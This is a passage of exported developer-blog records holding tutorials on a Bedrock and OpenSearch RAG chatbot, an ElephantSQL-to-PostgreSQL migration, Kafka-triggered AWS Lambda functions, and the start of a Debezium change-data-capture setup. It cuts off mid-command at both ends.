DELETE\n AllowedOrigins:\n - \"*\"\n PublicAccessBlockConfiguration:\n BlockPublicAcls: true\n BlockPublicPolicy: true\n IgnorePublicAcls: true\n RestrictPublicBuckets: true\n```\n\n**DocumentBucketPolicy** sets a policy for each document bucket, ensuring that access is denied over non-secure (HTTP) connections.\n\n```yaml\n DocumentBucketPolicy:\n Type: \"AWS::S3::BucketPolicy\"\n Properties:\n PolicyDocument:\n Id: EnforceHttpsPolicy\n Version: \"2012-10-17\"\n Statement:\n - Sid: EnforceHttpsSid\n Effect: Deny\n Principal: \"*\"\n Action: \"s3:*\"\n Resource:\n - !Sub \"arn:aws:s3:::${DocumentBucket}/*\"\n - !Sub \"arn:aws:s3:::${DocumentBucket}\"\n Condition:\n Bool:\n \"aws:SecureTransport\": \"false\"\n Bucket: !Ref DocumentBucket\n```\n\n**EmbeddingQueue** creates a queue in Amazon SQS. This queue will receive messages triggered by documents being uploaded to S3.\n\n```yaml\n EmbeddingQueue:\n Type: AWS::SQS::Queue\n DeletionPolicy: Delete\n UpdateReplacePolicy: Delete\n Properties:\n VisibilityTimeout: 180\n MessageRetentionPeriod: 3600\n```\n\n**EmbeddingQueuePolicy** sets a policy allowing S3 to send messages to the EmbeddingQueue in SQS.\n\n```yaml\n EmbeddingQueuePolicy:\n Type: AWS::SQS::QueuePolicy\n Properties:\n Queues:\n - !Ref EmbeddingQueue\n PolicyDocument:\n Version: \"2012-10-17\"\n Id: SecureTransportPolicy\n Statement:\n Effect: Allow\n Principal:\n Service: \"s3.amazonaws.com\"\n Action:\n - \"sqs:SendMessage\"\n Resource: !GetAtt EmbeddingQueue.Arn\n```\n\n**GenerateEmbeddingsFunction** creates a Lambda function responsible for generating embeddings. It's configured to have access to the necessary environment variables and is triggered by incoming messages in the EmbeddingQueue. \n\n```yaml\nGenerateEmbeddingsFunction:\n Type: AWS::Serverless::Function\n Properties:\n CodeUri: src/generate_embeddings/\n Timeout: 180\n MemorySize: 2048\n Policies:\n - SQSPollerPolicy:\n QueueName: !GetAtt EmbeddingQueue.QueueName\n - S3CrudPolicy:\n BucketName: !Ref DocumentBucket\n - Statement:\n - Sid: \"BedrockScopedAccess\"\n Effect: \"Allow\"\n Action: \"bedrock:InvokeModel\"\n Resource: \"arn:aws:bedrock:*::foundation-model/amazon.titan-embed-text-v1\"\n Environment:\n Variables:\n OPENSEARCH_URL: !Ref OpensearchURL\n BUCKET: !Ref DocumentBucket\n Events:\n EmbeddingQueueEvent:\n Type: SQS\n Properties:\n Queue: !GetAtt EmbeddingQueue.Arn\n BatchSize: 1\n```\n\nThe code of this function is take from `src/generate_embeddings` of the [main.py file](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base/blob/main/src/generate_embeddings/main.py):\n\n```py\ndef lambda_handler(event, context):\n # identify filename\n event_body = json.loads(event[\"Records\"][0][\"body\"])\n print(event_body)\n key = event_body[\"Records\"][0][\"s3\"][\"object\"][\"key\"]\n file_name_full = key.split(\"/\")[-1]\n\n # download data record\n s3.download_file(BUCKET, key, f\"/tmp/{file_name_full}\")\n loader = TextLoader(f'/tmp/{file_name_full}')\n document = loader.load()\n\n # setup Bedrock Embeddings for OpenSearch\n bedrock_runtime = boto3.client(\n service_name=\"bedrock-runtime\",\n region_name=\"us-east-1\",\n )\n\n # Interface for embedding models\n model = BedrockEmbeddings(\n model_id=\"amazon.titan-embed-text-v1\",\n client=bedrock_runtime,\n region_name=\"us-east-1\",\n )\n\n vector_search = OpenSearchVectorSearch(OPENSEARCH_URL, index_name, model)\n\n # perform vector search\n response = vector_search.from_documents(\n documents=document,\n embedding=model,\n opensearch_url=OPENSEARCH_URL,\n use_ssl = True,\n index_name=index_name,\n bulk_size=5000,\n vector_field=\"embedding\"\n )\n print(response)\n```\n\n**StreamingFunction** creates another Lambda function. Its purpose is to handle streaming responses. It's granted permissions to perform certain actions related to managed service Bedrock. \n\n```yaml\n GenerateResponseStreaming:\n Type: AWS::Serverless::Function\n Properties:\n CodeUri: src/generate_response_streaming\n Handler: index.handler\n Runtime: nodejs18.x\n Timeout: 30\n MemorySize: 256\n Policies:\n - Statement:\n - Effect: Allow\n Action: 'bedrock:*'\n Resource: '*'\n Environment:\n Variables:\n OPENSEARCH_URL: !Ref OpensearchURL\n```\n\nThe code is taken from `src/generate_response_streaming` and written in JavaScript, because at the moment Lambda supports response streaming [only on Node.js managed runtimes](https://docs.aws.amazon.com/lambda/latest/dg/configuration-response-streaming.html). Here is the content of [index.js](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base/blob/main/src/generate_response_streaming/index.js):\n\n```js\nconst runChain = async (query, responseStream) =\u003e {\n try {\n\n // create OpenSearch client\n const openSearchClient = new Client({\n nodes: process.env.OPENSEARCH_URL\n });\n\n // setup Bedrock Embeddings for OpenSearch\n // interface for embedding models\n const model = new BedrockEmbeddings({region: awsRegion});\n const index_name = \"knowledge-embeddings\"\n const vectorStore = new OpenSearchVectorStore(model, {\n openSearchClient,\n indexName: index_name,\n vector_field: index_name\n });\n\n const retriever = vectorStore.asRetriever();\n\n // define prompt template\n const prompt = PromptTemplate.fromTemplate(\n `Answer the following question based on the following context:\n {context}\n\n Question: {question}`\n );\n\n const llmModel = new BedrockChat({\n model: 'cohere.command-text-v14',\n region: awsRegion,\n streaming: true,\n maxTokens: 1000,\n });\n\n // create streaming chain\n const chain = RunnableSequence.from([\n {\n context: retriever.pipe(formatDocumentsAsString),\n question: new RunnablePassthrough()\n },\n prompt,\n llmModel,\n new StringOutputParser()\n ]);\n\n const stream = await chain.stream(query);\n for await (const chunk of stream) {\n responseStream.write(chunk);\n }\n responseStream.end();\n } catch (error) {\n // Output the error\n responseStream.write(`Error: ${error.message}`);\n responseStream.end();\n }\n};\nexport const handler = awslambda.streamifyResponse(async (event, responseStream, _context) =\u003e {\n console.log(JSON.stringify(event));\n const query = event[\"queryStringParameters\"][\"query\"]\n await runChain(query, responseStream);\n console.log(JSON.stringify({\"status\": \"complete\"}));\n});\n\n```\n\n**StreamingFunctionInvocationURL** provides a URL for invoking the StreamingFunction in streaming mode. This URL requires AWS IAM authentication.\n\n```yaml\n GenerateResponseStreamingInvocationURL:\n Type: AWS::Lambda::Url\n Properties:\n TargetFunctionArn: !Ref GenerateResponseStreaming\n AuthType: AWS_IAM\n InvokeMode: RESPONSE_STREAM\n```\n\n### Build and deploy resources\nTime to bring our SAM template into action: deploy and build our application.\n\nMake sure that your environment has python at least of version 3.11 and run:\n\n```sam build```\n\n\nif you experience problems try running a verbose version of the command with:\n\n```sam build --debug```\n\nOnce the project is built, we can deploy it. Run \n\n```sam deploy --guided```\n\nand provide the service URI of the OpenSearch service that we've created:\n\n![Running sam deploy --guided](https://cdn.sanity.io/images/sczeoy4w/production/2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38-998x862.png)\n\nWait for the resources being deployed.\n\n## Step 3. Upload your data\n\nNow that our pipeline is running, time to flow some knowledge into it. You can use any text documents that you have, I used a set of documentation article for Aiven platform.\n\nGo to the S3 bucket that was just created and upload the text files there.\n![Upload data to s3](https://cdn.sanity.io/images/sczeoy4w/production/4beb0accb34167fc199bbbb2db13910141f414e1-1982x1538.png)\n\nEach time a new document is uploaded, it is added to an embedding queue, transformed into embedding using AWS Bedrock model and the embedding is uploaded into OpenSearch.\n\n\n## Step 4. Invoking a chat function - let's ask a question! 💬\nAnd finally it is time to run the test and invoke our function! There are different ways how you can achieve this.\n\nBy default the way we set up our Lambda function, it requires AWS IAM authentication to have access to execute it. Alternatively you can also grant public access to your function URL: \n\n![change_lambda_url_permissions.png](https://cdn.sanity.io/images/sczeoy4w/production/a523cef1686223e5a72e4d3dbfb05ea919be159b-1666x840.png)\n\nIf you choose auth type NONE, anyone with the URL can access your function.\n\nYou can run it directly from the terminal using CURL:\n![Example of invoking the lambda function using curl](https://cdn.sanity.io/images/sczeoy4w/production/07489c2f2ea19603cd50c500c32817402bae7678-2674x934.png)\n\nIn the example above we've asked a question how to set up ClickHouse. One of the provided documents contained instructions describing how to create a service Aiven for ClickHouse. Vector search returned those documents to LLM and the information was used as a part of response. If you run this live you'll also see that the response was output as a chain of text chunk by chunk.\n\nNote, that this Bedrock model doesn't like very short questions, so make sure to ask something that is sufficiently descriptive. If you have problems, check out Lambda logs in CloudWatch.\n\n## Cleanup\n\nTo clean up all resources created in this article:\n\n1. Delete Aiven for OpenSearch service\n2. Empty the S3 bucket where you uploaded documents\n3. run `sam delete` to terminate and remove created AWS resources.\n\n\n## What's next\n\nAfter following this tutorial you've learned how to build a knowledge chatbot powered by OpenSearch and AWS Bedrock . If you're interested in related topics check out these articles:\n\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Retrieval augmented generation with OpenAI and OpenSearch®](https://aiven.io/developer/retrieval-augmented-generation-openai-opensearch)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector)\n- [Social search in real time: Exploring Mastodon data with Apache Kafka® and OpenSearch®](https://aiven.io/developer/mastodon-kafka-opensearch) ","feature":{"_type":"featuredItem","active":false,"endDate":"2024-05-15T12:26:14.978Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-05-08T12:25:30.349Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Applying RAG pattern to navigate your knowledge store","asset":{"_ref":"image-32dca7ead0a8e992b18e33cb80bb5f8a7f623776-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/rag-bedrock-opensearch"},"subtitle":"Build a knowledge chatbot powered by OpenSearch® and Amazon Bedrock","tags":[{"_key":"4be589e67402","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"292456f879e9","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"},{"_key":"547db15a766e","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"23f7c6152123","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Applying RAG pattern to navigate your knowledge store"} {"__i18n_lang":"en","_createdAt":"2024-02-09T13:03:14Z","_id":"9131f94e-b41b-49e1-a147-a7a0a9b0c480","_rev":"BVM0UzymoPXcfHGeYl5fwj","_type":"devArticle","_updatedAt":"2024-08-09T09:44:47Z","body":"This article addresses how to migrate an ElephantSQL (PostgreSQL®) database to an Aiven for PostgreSQL® database using `pg_dump`. \n\nTo migrate databases from your local computer or another cloud service, see [Aiven for PostgreSQL® Migration](https://aiven.io/docs/products/postgresql/howto/list-replication-migration).\n\n## Prerequisites\n\n- An ElephantSQL database. \n- An Aiven for PostgreSQL database. If you haven't already, [Sign up for an Aiven account](https://aiven.io/signup) and [Create an Aiven for PostgreSQL database](https://aiven.io/docs/platform/howto/create_new_service). \n- PostgreSQL 16 and its command line tooling, `psql`, installed on your local machine. See [PostgreSQL's documentation](https://www.postgresql.org/download/) for specific instructions for your operating system. \n- [`pg_dump`](https://www.postgresql.org/docs/current/libpq.html) to migrate. Usually this installs alongside `psql`, but you might need to install it seperately.\n- [PgAdmin](https://www.pgadmin.org/) to verify the data.\n\n## The migration process\n\nTo migrate an ElephantSQL database to Aiven for PostgreSQL, all we need to do is use `pg_dump` on the ElephantSQL database and `pg_restore` on the Aiven for PostgreSQL database. \n\n### About dump migration \n\n`pg_dump` is a point-in-time snapshot. The data written to the source\ndatabase during the migration process (after initiating the dump) is not\nmigrated to the target database. When you start a dump migration, make\nsure no data is written to the source database by the time the dumping\nprocess is over\n\n## Confirm your `psql` and `pg_dump` version numbers\n\nWe'll use our local machine's command line to perform the migration. It's important that the version of `psql` and `pg_dump` we have installed are at **version 16 or later**, or else the migration will fail.\n\nTo check the version of `psql` you have installed, use the following command in a Terminal:\n\n```bash\npsql --version\n```\n\nIf you need to update to a newer version of `psql`, uninstall your current version and re-install a newer version. If you're using a package manager like Homebrew on Mac, be sure to specify the version number in the formulae: \n\n```bash\nbrew install postgresql@16\n```\n\nTo check the version of `pg_dump`, use the following command in a Terminal: \n\n```bash\npg_dump --version\n```\n\nUpgrading `psql` should automatically upgrade `pg_dump` as well. If for some reason it doesn't, you can install `libpq`: \n\n```bash\nbrew install libpq\n```\n\n## Create an Aiven for PostgreSQL database and install extensions \n\nNext, go to the [Aiven Console](https://console.aiven.io) and create a new Aiven for PostgreSQL service. \n\nWhen the service is created, install any extensions you might need. Some ElephantSQL databases use the `dict_xsyn` and `xml2` extensions by default. \n\n[Read how to install new extensions to your Aiven for PostgreSQL database](https://aiven.io/docs/products/postgresql/howto/manage-extensions).\n\n## Get connection data from source and target databases \n\nLog into the [ElephantSQL console](https://customer.elephantsql.com/instance). \n\nSelect the database to migrate and note the following information: \n- Server\n- Port (By default ElephantSQL uses port 5432 for all connections.)\n- User \u0026 Default database\n- Password\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/6d6963121de0f726e0919876bc8c6c24f37b13a4-2044x1356.png)\n\nNext, log into the [Aiven console](https://console.aiven.io) and note the following information: \n- Host\n- Port\n- Username\n- Password\n\nNavigate to the **Databases** section of the Aiven console, and either:\n- Note the name of the default database, `defaultdb`, or\n- Create a new database that you want to migrate to and note that\n\n\n## Perform the migration using the command line\n\nOpen a Terminal window or command line, and use the following command to migrate your database:\n\n```bash\nPGPASSWORD=\u003cELEPHANTSQL_PASSWORD\u003e pg_dump \u003cELEPHANTSQL_SERVER\u003e -p \u003cELEPHANTSQL_PORT\u003e -U \u003cELEPHANTSQL_USER\u003e -d \u003cELEPHANTSQL_DATABASE\u003e | psql -h \u003cAIVEN_HOST\u003e -p \u003cAIVEN_PORT\u003e -U \u003cAIVEN_USER\u003e \u003cAIVEN_DATABASE\u003e\n```\n\nWhere:\n- `\u003cELEPHANTSQL_SERVER\u003e` is the ElephantSQL server we noted avove\n- `\u003cELEPHANTSQL_PORT\u003e` is the ElephantSQL database's port, or 5432. \n- `\u003cELEPHANTSQL_USER\u003e` is the user name for the ElephantSQL database.\n- `\u003cELEPHANTSQL_DATABASE\u003e` is the database name for the ElephantSQL database. In most cases, this is the same as the user name.\n- `\u003cELEPHANTSQL_PASSWORD\u003e ` is the password for the ElephantSQL database.\n- `\u003cAIVEN_HOST\u003e` is the Host for the Aiven for PostgreSQL database.\n- `\u003cAIVEN_PORT\u003e` is the port for the Aiven for PostgreSQL service. \n- `\u003cAIVEN_USER\u003e` is the user name for the Aiven for PostgreSQL database. The default user is `avnadmin`.\n- `\u003cAIVEN_DATABASE\u003e` Is the database name to migrate to the Aiven for PostgreSQL service. The default is `defaultdb`.\n\nYou should be prompted for the password to your Aiven service. Copy and paste it into the command line and hit **Enter**.\n\nLeave the process to complete. Depending on the size of your database, this might take some time.\n\n::alert[You might receive a warning in the command line \"role \"USERNAME\" does not exist`. This is because we did not recreate roles in Aiven for PostgreSQL before migrating, as Aiven has a default user that we can use. If you need to, create any users you might need in Aiven for PostgreSQL before migrating.]{title=\"User `USERNAME` does not exist \" type=\"warning\"}\n\n## Verify the results using PgAdmin \n\n1. Open PgAdmin and select **Add New Server**. Enter the following:\n\t- In **General**, give the new server a name such as *Aiven for PostgreSQL server*.\n\t- In **Connection**:\n\t\t- **Host name/address:** The **Host** of your Aiven for PostgreSQL service\n\t\t- **Port:** The port number your Aiven for PostgreSQL service uses. Note that Aiven services do not use the default 5432. \n\t\t- **Maitenence database:** The **Database** you migrated to (the default is defaultdb)\n\t\t- **Username:** The **Username** you used to connect to your database (the default is avnadmin)\n\t\t- **Password:** The **Password** assosciated with your username. \n\n2. Click **Save** to save your connection information and connect to the database.\n3. Navigate to your database and use the **Query tool** to run a query against your data. The query that makes sense for you to run depends on the data in your database. \n\n![](https://cdn.sanity.io/images/sczeoy4w/production/991605d6c514f0b9577bb7b107900301d04ae2a8-2014x1430.png)\n\n## Next steps \n\nAs far as the database migration goes, that's it! The next steps are to ensure that all your services are now pointing at your new Aiven for PostgreSQL database. Read our [connect to a PostgreSQL database](https://aiven.io/docs/products/postgresql/howto/list-code-samples) docs for more information.\n\nAiven for PostgreSQL also includes lots of one-click integrations with popular monitoring services, metrics services and more. See [What you can integrate with](https://aiven.io/docs/products/postgresql/howto/list-integrations). \n\nAiven also offers a number of different data services, from streaming to storage to analysis. Learn more about [the rest of the Aiven Platform](https://aiven.io/platform) and see what you can do with your data!\n\n\n## Further reading\n\n- [Migrate to Aiven for PostgreSQL](https://aiven.io/elephantsql-aiven-migration)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-16T13:03:12.277Z"},"publishedAt":"2024-02-09T10:06:41.873Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4156deabbe04358def2875a9869a5eef7bdd17bb-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/elephantsql-aiven-migration"},"subtitle":"Use this guide to migrate your ElephantSQL database to an Aiven for PostgreSQL® database using the pgdump utility","title":" Migrate an ElephantSQL PostgreSQL® database to Aiven for PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2024-02-29T12:04:38Z","_id":"6756931c-b09f-49b2-b32f-43c33703e39d","_rev":"zYSUUPkF4TH1RAKzpzeqRm","_type":"devArticle","_updatedAt":"2024-03-18T12:16:17Z","body":"Despite a number of tools available to perform stream processing like Apache Kafka® Streams or Apache Flink®, sometimes you want to write some serverless code or functions to process events. You can do this with [AWS Lambda](https://aws.amazon.com/lambda/), letting you concentrate on wiring the parsing logic without having to worry about managing or scaling the compute.\n\nIn this tutorial we'll cover the basics of how to invoke a Lambda function using an Apache Kafka trigger.\n\n## The Components\n\nWe'll use [AWS Lambda triggers](https://docs.aws.amazon.com/lambda/latest/dg/lambda-invocation.html), in particular the [Apache Kafka trigger](https://docs.aws.amazon.com/lambda/latest/dg/with-kafka.html), to consume from a specific Kafka topic and invoke the Lambda function on every event (or batch of events).\n\n![Architecture including Aiven for Apache Kafka, Lambda's Apache Kafka trigger and the function](https://cdn.sanity.io/images/sczeoy4w/production/ef22c5e52103df1b0e47f97faab92bf2266701a9-5480x1960.png)\n\n## Getting started with Apache Kafka\n\n[Lambda's Apache Kafka trigger](https://docs.aws.amazon.com/lambda/latest/dg/with-kafka.html) works with any Apache Kafka cluster, for simplicity this tutorial will showcase how to create one with Aiven by:\n\n1. Signup into [Aiven Console](https://console.aiven.io/signup)\n2. If you are creating a new account, select if it's Personal or Business and give the project a name\n3. At *Services*, under *Create new service* choose **Apache Kafka**\n4. To finish creating your **Apache Kafka®** service, choose the version (default is fine), and AWS as your cloud provider.\n5. Create the Apache Kafka service in the same region as where you'll want to run the AWS Lambda function to minimize the latency.\n6. Click on **Create service**\n\nClick **Skip this step** to jump directly to the Apache Kafka service details while the service builds in the background. Enable the **Apache Kafka REST API (Karapace)** toggle so we can messages in a Kafka topic using the Aiven Console.\n\nWhen the cluster is up and running, navigate to the **Topics** tab and create a topic called `test`. Click on the topic name to view it, then click **Messages** to consume and produce messages in the topic.\n\n## Store Apache Kafka credentials in AWS Secrets Manager\n\nThe next step is to define a secure link between Aiven for Apache Kafka and the AWS Lambda function. Aiven for Apache Kafka offers a client certificate authentication method out of the box we can store the secrets in [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/) by:\n\n* Logging in the AWS Console and accessing the [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/)\n* Clicking on **Store new secret**\n* Select **Other type of secret** as **Secret type**\n* Select the **Plaintext** editor and include the following JSON\n\n```json\n {\n \"certificate\":\"\u003cACCESS_CERTIFICATE\u003e\",\n \"privateKey\":\"\u003cACCESS_KEY\u003e\"\n }\n```\n\nThe `\u003cACCESS_CERTIFICATE\u003e` and `\u003cACCESS_KEY\u003e` are respectively the Access certificate and Access key you can find in the Aiven Console, under the Aiven for Apache Kafka service *Overview* tab. \n\nThe access certificate should start with `-----BEGIN CERTIFICATE-----` and end with `-----END CERTIFICATE-----`, the whole content should be included.\nThe access key should start with `-----BEGIN PRIVATE KEY-----` and end with `-----END PRIVATE KEY-----`, the whole content should be included.\n\n* Click **Next**\n* Define a secret name (e.g. `prod/AppLambdaTest/Kafka`), a description, tags and resource permissions\n* Click **Next**\n* Define the rotation configuration and click **Next**\n* Review the secret details and click **Next**\n\nThe secret contains the Aiven for Apache Kafka access certificate and key. We need to do the same set of steps to store the **CA certificate**. The JSON format for this second secret is:\n\n```json\n {\n \"certificate\":\"\u003cCA_CERTIFICATE\u003e\"\n }\n```\n\nThe `\u003cCA_CERTIFICATE\u003e` is the Access CA you can find in the Aiven Console, under the Aiven for Apache Kafka service *Overview* tab. You need to include everything from the `-----BEGIN CERTIFICATE-----` to the `-----END CERTIFICATE-----` including the two opening and closing strings. \n\nName the CA related secret `prod/AppLambdaTest/KafkaCA`\n\n## Define a Lambda function\n\nThe next step is to define the Lambda function to perform some simple logging of the events coming in. We can create a Lambda function by:\n\n* Go to the [AWS Lambda service page](https://aws.amazon.com/lambda/)\n* Click **Create function**\n* Select **Author from scratch**\n* Give the function a name \n* Select `Python 3.11` as *Runtime*\n* Select `x86_64` as *Architecture*\n* In the **Permissions** section select **Create a new role with basic Lambda permissions**\n\n![A view of the AWS console showing the Lamdba settings](https://cdn.sanity.io/images/sczeoy4w/production/261f9f3f3b55f3648c568afb3e9809ed5f309976-1559x1080.png)\n\n* Click on **Create function**\n\n### Enable the new AWS role to access the Apache Kafka secrets\n\nThe basic role created during the Lambda definition allows only [CloudWatch logging](https://aws.amazon.com/it/cloudwatch/) by default. We need to enable the role to read the secrets containing the Apache Kafka certificates needed to connect to the Aiven service. We can do that by:\n\n* In the AWS Lambda function details page, click on the **Configuration** tab\n* Select the **Permission** section\n* Click on **Edit**\n* Click on the **View the `\u003cROLENAME\u003e`** link at the bottom of the page to edit the newly created role (the `\u003cROLENAME\u003e` is a string including the Lambda function name, the `role` string and a random string suffix), this opens [AWS Identity and Access Management](https://aws.amazon.com/iam/) (IAM)\n* Click on **Add permissions** and select **Create inline policy**\n* Type **Secrets Manager** in the *Select a service* search screen and select **Secrets Manager**\n* Expand the *Read* section and select the `GetSecretValue`\n* In the *Resources* section, optionally filter the [AWS Amazon Resource Names](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html) the role will be able to access or select **All** to allow the role access all secrets.\n* Give the new policy a name\n* Click on **Next** and **Create policy**\n\nThe new inline policy is added to the newly created role.\n\n![New policy added](https://cdn.sanity.io/images/sczeoy4w/production/4bcbd1ac2601015527fb253f29fd57306449a541-1328x351.png)\n\n### Create the Lambda trigger pointing to Apache Kafka\n\nBack on the [AWS Lambda service page](https://aws.amazon.com/lambda/) where the newly created function has now all the privileges to access the secrets needed to connect to Apache Kafka. We can setup the trigger by:\n\n* In the *Function overview* click on **+ Add trigger**\n* Select **Apache Kafka**\n* Under the *Bootstrap servers* click on **Add** and include Aiven for Apache Kafka bootstrap server that you can find in the Aiven Console, service page, overview tab.\n* Set `1` as batch size, so the function is called on every event\n* Set `test` as topic name\n* Select `CLIENT_CERTIFICATE_TLS_AUTH` as *Authentication*\n* Select the secret containing the access certificate and key in the *Secrets Manager key*\n* Select the secret containing the CA certificate in the *Encryption*\n* Click on **Add**\n\n### Write the Lambda logic\n\nThe last step in our journey is to define what the Lambda function should do. To define that we need to:\n\n* In the [AWS Lambda service page](https://aws.amazon.com/lambda/) for the lambda function, navigate to the **Code** tab\n* Write the following in the *lambda_function* section\n\n```python\nimport json\nimport base64\n\ndef lambda_handler(event, context):\n partition=list(event['records'].keys())[0]\n message=event['records'][partition]\n for data in message:\n stringvalue = base64.b64decode(data['value'])\n value=json.loads(stringvalue)\n print('pizza ' + value['pizza'])\n print('name ' + value['name'])\n```\n\nIn the above code we:\n\n* include `json` to parse the JSON values to push to the kafka topic\n* create the partition `partition=list(event['records'].keys())[0]`. To retrieve the name of the partition, check the details of an [example event in the AWS documentation](https://docs.aws.amazon.com/lambda/latest/dg/with-kafka.html#smaa-sample-event)\n* Get the messages and the value session (`data['value']`, then print the `pizza` and `name` fields, after decoding from `base64`.\n\nIt's time to run the function with the **Deploy** button.\n\n\n### Check the pipeline results\n\nTo check if the pipeline is working, we need to:\n\n* Push records in the Apache Kafka `test` topic \n* Check in the logs that the messages are printed\n\nWe can test it by:\n\n* In the Aiven Console, navigate to the Aiven for Apache Kafka service\n* Click on the **Topic** section\n* Click on the `test` topic\n* Click on the **Messages** button\n* Click on **Produce message** button\n* Select *json* as format\n* Select the **Value** tab\n* Paste the following into the main editing area\n\n```json\n{\n \"pizza\":\"Pepperoni\",\n \"name\": \"Frank\"\n}\n```\n\nTo check that the Lambda function works:\n\n* In the AWS Lambda page, navigate to the **Monitor** tab\n* In the *Metrics* subtab, you should see the number of invocations, success and error rates\n* In the *Logs* subtab, you should be able to check the log details. Opening the latest logs you should see an entry like the following\n\n```text\npizza Pepperoni\nname Frank\n```\n\n\n## Scalable event driven architecture with AWS Lambda and Apache Kafka\n\nAWS Lambda functions are a widely adopted by developers to ingest and parse a scalable amount of data without having to pre-provision a dedicated service. \n\nThe combination between Lambda functions and Apache Kafka offers an interesting option for building scalable, serverless, event driven architectures. It lets you read data from Apache Kafka without having to code an application or deploy a service specific to that. This reduces your overall infrastructure cost and the complexity of your system.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-07T12:04:08.265Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2023-11-24T14:38:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Serverless event driven architecture with AWS Lambda functions and Apache Kafka®","asset":{"_ref":"image-52c82f746fd5f05f6b59a2d0300198af45a9cf4d-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/serverless-eda-aws-lambda-apache-kafka"},"subtitle":"Build serverless Event Driven Architectures (EDA) by combining Apache Kafka® with AWS Lambda functions. Learn how to trigger Lambda functions based on events flowing in an Apache Kafka topic","tags":[{"_key":"eb1a57dc7067","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"9953b1fc0298","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"2bf705de4d91","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"50f70be479fd","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"}],"title":"Serverless event driven architecture with AWS Lambda functions and Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:41:37Z","_id":"8b9a64ed-bac3-42ca-b892-2b5fe33d4bf1","_rev":"lbpMA3MBWy0eIji4xntCK6","_type":"devArticle","_updatedAt":"2024-12-11T12:06:07Z","body":"Technologies change all the time, and the best platform choice at the start of the project sometimes does not look so great after time has passed or requirements have become clearer. This is true for databases as well, but managing transitions in this area of your application can be disruptive if there are multiple systems involved.\n\nThe ideal situation is to enable both the old and new database platforms to be in use at once, and kept perfectly in sync. This allows engineering teams to perform safe migrations without all needing to be in lockstep with one another. As it happens, this sort of linking technology exists, and its name is Apache Kafka® Connect.\n\nIn this blog post we'll explore the usage of Apache Kafka® and Apache Kafka® Connect as streaming bridge between different database technologies, and how the use of the Debezium Connector enables tracking changes as soon as they happen and propagate them to a Kafka topic. \n\n::alert[This article describes the configuration for Debezium version 2.5 and later. It also uses `pgoutput` instead of`wal2json`, as `wal2json` was deprecated in Debezium 2.0.]{title=\"Debezium 2.5\"}\n\n## The big picture\n\n::alert[Here's a useful read if your [database migration tool](https://aiven.io/blog/5-good-questions-to-ask-before-moving-your-database) questions are still in their early stages.]{title=\"Tip\" type=\"success\"}\n\nFor the aim of this blog post, we define a scenario where the original database is PostgreSQL® and the target is MySQL and we'll create a streaming replica from source to target. To achieve it, we need a data streaming platform, and Apache Kafka gives us the ability to ingest and consume data in near real time with a platform proven at scale.\n\nThe missing piece is the connection between the various components, but the good news is that we don't have to bring in additional tools: Apache Kafka Connect, part of the Apache Kafka ecosystem, enables us to just define data sources and targets making the data extraction and load a matter of a couple of config files. \n\nApache Kafka Connect offers a huge variety of connectors enabling integrations between databases, data stores, http endpoints, analytics tools. The complete list of Aiven's supported managed connectors is available in our [dedicated documentation](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html).\n\nWhen dealing with a source relational database, Apache Kafka Connect provides a couple of options: we could use the JDBC approach as explained in a [previous artticle](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example), querying the source database on a polling interval. If, on the other side, we want to embrace the event-driven paradigm, by detecting and streaming every change as soon as it happens, we need to take onboard a proper Change Data Capture solution like [Debezium](https://debezium.io/).\n\n![Diagram showing the components: PostgreSQL, Apache Kafka, Kafka Connect, Debezium and MySQL](//cdn.sanity.io/images/sczeoy4w/production/42f9de755dc6ec1aa1386e5fa0f4267dac400d34-935x178.png \"Data flows from PostgreSQL to Kafka, via Debezium Source Connector, and then to MySQL, via JDBC Sink Collector\")\n\n## Create the environments\n\nThe complete set of technologies is fully open-source. For the sake of simplicity I'll use the Aiven managed services and deploy the required services with help of the [Aiven CLI](https://aiven.io/docs/tools/cli.html). Let's start by creating an Aiven for Apache Kafka service named `demo-kafka` in the `google-europe-west3` region with the juicy `business-4` plan. During service creation we can enable Apache Kafka connect and the schema registry functionality provided by [Aiven's Karapace](https://github.com/aiven/karapace) and the [automatic topic creation](https://aiven.io/docs/products/kafka/howto/create-topics-automatically.html).\n\n```bash\navn service create demo-kafka \\\n --service-type kafka \\\n --cloud google-europe-west3 